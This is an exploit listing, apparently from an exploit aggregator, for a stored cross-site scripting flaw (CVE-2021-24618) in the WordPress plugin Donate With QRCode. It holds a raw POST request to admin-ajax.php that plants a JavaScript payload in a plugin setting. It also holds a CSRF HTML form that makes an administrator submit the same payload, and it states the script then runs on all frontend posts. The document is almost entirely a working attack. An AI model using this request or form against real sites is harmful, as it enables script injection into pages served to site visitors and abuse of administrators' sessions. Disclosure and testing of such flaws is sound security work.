Exploit for Donate With QRCode < 1.4.5 - Stored Cross-Site Scripting CVE-2021-24618

Name: Exploit for Donate With QRCode < 1.4.5 - Stored Cross-Site Scripting CVE-2021-24618
Rating: 5 (413 reviews)
2021-08-19 | CVSS 3.5
## https://sploitus.com/exploit?id=WPEX-ID:D50B801A-16B5-45E9-A465-E3BB0445CB49
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 586
Connection: close
Cookie: [any authenticated user in v < 1.4.2, admin via CSRF in v < 1.4.5]

action=wb_dwqr_setting&do=set_setting&opt%5Bdwqr_switch%5D=1&opt%5Btheme_color%5D=%230066CC&opt%5Bdwqr_module%5D%5Bdonate%5D=1&opt%5Bdwqr_module%5D%5Blike%5D=1&opt%5Bdwqr_module%5D%5Bposter%5D=1&opt%5Bdwqr_module%5D%5Bshare%5D=1&opt%5Bdwqr_module%5D%5Bposition%5D=0&opt%5Bitems%5D%5Bweixin%5D%5Bname%5D=%E5%BE%AE%E4%BF%A1&opt%5Bitems%5D%5Bweixin%5D%5Bimg%5D='%3B+alert(%2FXSS%2F)%3Bvar+var1%3D'&opt%5Bitems%5D%5Balipay%5D%5Bname%5D=%E6%94%AF%E4%BB%98%E5%AE%9D&opt%5Bitems%5D%5Balipay%5D%5Bimg%5D=&opt%5Blogo_url%5D=&opt%5Bcover_url%5D=&opt%5Bposter_theme%5D=0&opt%5Bcover_ratio%5D=3%3A2


<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wb_dwqr_setting" />
      <input type="hidden" name="do" value="set_setting" />
      <input type="hidden" name="opt[dwqr_switch]" value="1" />
      <input type="hidden" name="opt[theme_color]" value="#0066CC" />
      <input type="hidden" name="opt[dwqr_module][donate]" value="1" />
      <input type="hidden" name="opt[dwqr_module][like]" value="1" />
      <input type="hidden" name="opt[dwqr_module][poster]" value="1" />
      <input type="hidden" name="opt[dwqr_module][share]" value="1" />
      <input type="hidden" name="opt[dwqr_module][position]" value="0" />
      <input type="hidden" name="opt[items][weixin][name]" value="å¾®ä¿¡" />
      <input type="hidden" name="opt[items][weixin][img]" value="'; alert(/XSS/);var var1='" />
      <input type="hidden" name="opt[items][alipay][name]" value="æ”¯ä»˜å®" />
      <input type="hidden" name="opt[items][alipay][img]" value="" />
      <input type="hidden" name="opt[logo_url]" value="" />
      <input type="hidden" name="opt[cover_url]" value="" />
      <input type="hidden" name="opt[poster_theme]" value="0" />
      <input type="hidden" name="opt[cover_ratio]" value="3:2" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

The XSS will be triggered in all frontend posts